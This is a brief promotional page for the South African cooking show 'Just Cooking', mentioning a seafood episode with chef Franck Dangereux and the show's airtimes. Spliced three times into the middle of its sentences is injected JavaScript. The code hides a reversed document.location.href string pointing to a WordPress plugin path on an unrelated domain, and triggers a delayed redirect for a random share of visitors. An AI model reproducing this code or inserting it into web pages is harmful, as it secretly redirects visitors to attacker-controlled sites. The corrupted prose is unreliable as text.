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This episode celebrates South Africa’s seafood bounty. Award-winning chef Franck Dangereux roasts farmed kinglip with a delicious citrus and chilli crust,

Just Cooking in association with Fresh Living, presented by Justine Drake, editoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor of Fresh LIving, is stepping intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your kitchen Tuesday evenings toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create delicious, healthy everyday dishes for the time- and cash-strapped cook.

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Catch Just Cooking Tuesdays at 20:30 on SABC 3! Don’t miss the repeat on Saturdays at 12:00!

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